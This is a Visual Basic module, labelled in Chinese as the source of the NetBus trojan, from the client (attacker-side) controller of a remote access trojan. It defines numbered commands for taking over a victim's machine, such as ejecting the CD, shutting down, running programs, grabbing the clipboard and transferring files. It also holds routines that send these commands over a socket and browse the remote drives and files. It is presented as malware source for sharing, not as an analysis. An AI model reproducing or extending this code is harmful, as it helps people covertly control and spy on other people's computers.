client.bas

大名鼎鼎的Netbus木马源程序.

Attribute VB_Name = "Module1"
Global OpenCD, CloseCD, PlayCD, StopCD, NumOn, CapsOn, ScrollOn, Files, Runn, PL, STO
Global Reset, ShutDown, Connected, NumOff, CapsOff, ScrollOff, Info, StartSS, Dir, TimeX
Global Taskbar0, Taskbar1, Message, Clipb, ClDoc, Phone, DCSpeed, CBSpeed, Printy, Drive
Global SendTxtFile, NameOfTFile, Batch, CloseServe, SaveTF, SetCur, MPSetting, DConn, KBS
Sub InitVars()
OpenCD = 1
CloseCD = 2
PlayCD = 3
StopCD = 4
NumOn = 5
NumOff = 6
CapsOn = 7
CapsOff = 8
ScrollOn = 9
ScrollOff = 10
Reset = 11
ShutDown = 12
Connected = 13
Info = 14
Files = 15
StartSS = 16
STO = 17
PL = 18
Runn = 19
Taskbar0 = 20
Taskbar1 = 21
Message = 22
Clipb = 23
ClDoc = 24
Phone = 25
DCSpeed = 26
CBSpeed = 27
Printy = 28
Drive = 29
SendTxtFile = 30
Batch = 31
CloseServe = 32
SaveTF = 33
SetCur = 34
DConn = 35
MPSetting = 2
KBS = 36
End Sub

Sub WSsnd(text)
On Error Resume Next
Form1.WS.SendData text
End Sub

Sub DispDrives(Drives)
Drives = UCase(Drives) & Chr(13) & Chr(10)
explorer.Text4.Clear
Dim f1, f2
f1 = 1
For i = 1 To Len(Drives)
    If Mid(Drives, i, 1) = Chr(13) Then
        f2 = i - 2
        explorer.Text4.AddItem Mid(Drives, f1, (f2 - f1) + 2)
        f1 = f2 + 4
    End If
Next i
Dir = "C:\"
explorer.Text4.text = "C:\"
End Sub

Sub ShowTF(T)
Load TextView
TextView.Caption = NameOfTFile
TextView.visible = True
TextView.Text1.text = T
End Sub

Sub DispFiles(Files)
explorer.List1.Clear
explorer.List1.AddItem ".."
Dim f1, f2
f1 = 1
For i = 1 To Len(Files)
    If Mid(Files, i, 1) = Chr(13) Then
        f2 = i - 2
        explorer.List1.AddItem Mid(Files, f1, (f2 - f1) + 2)
        f1 = f2 + 4
    End If
Next i
explorer.Label2.Caption = explorer.List1.ListCount - 1 & " files/subdirectories in " & explorer.Text4.text
End Sub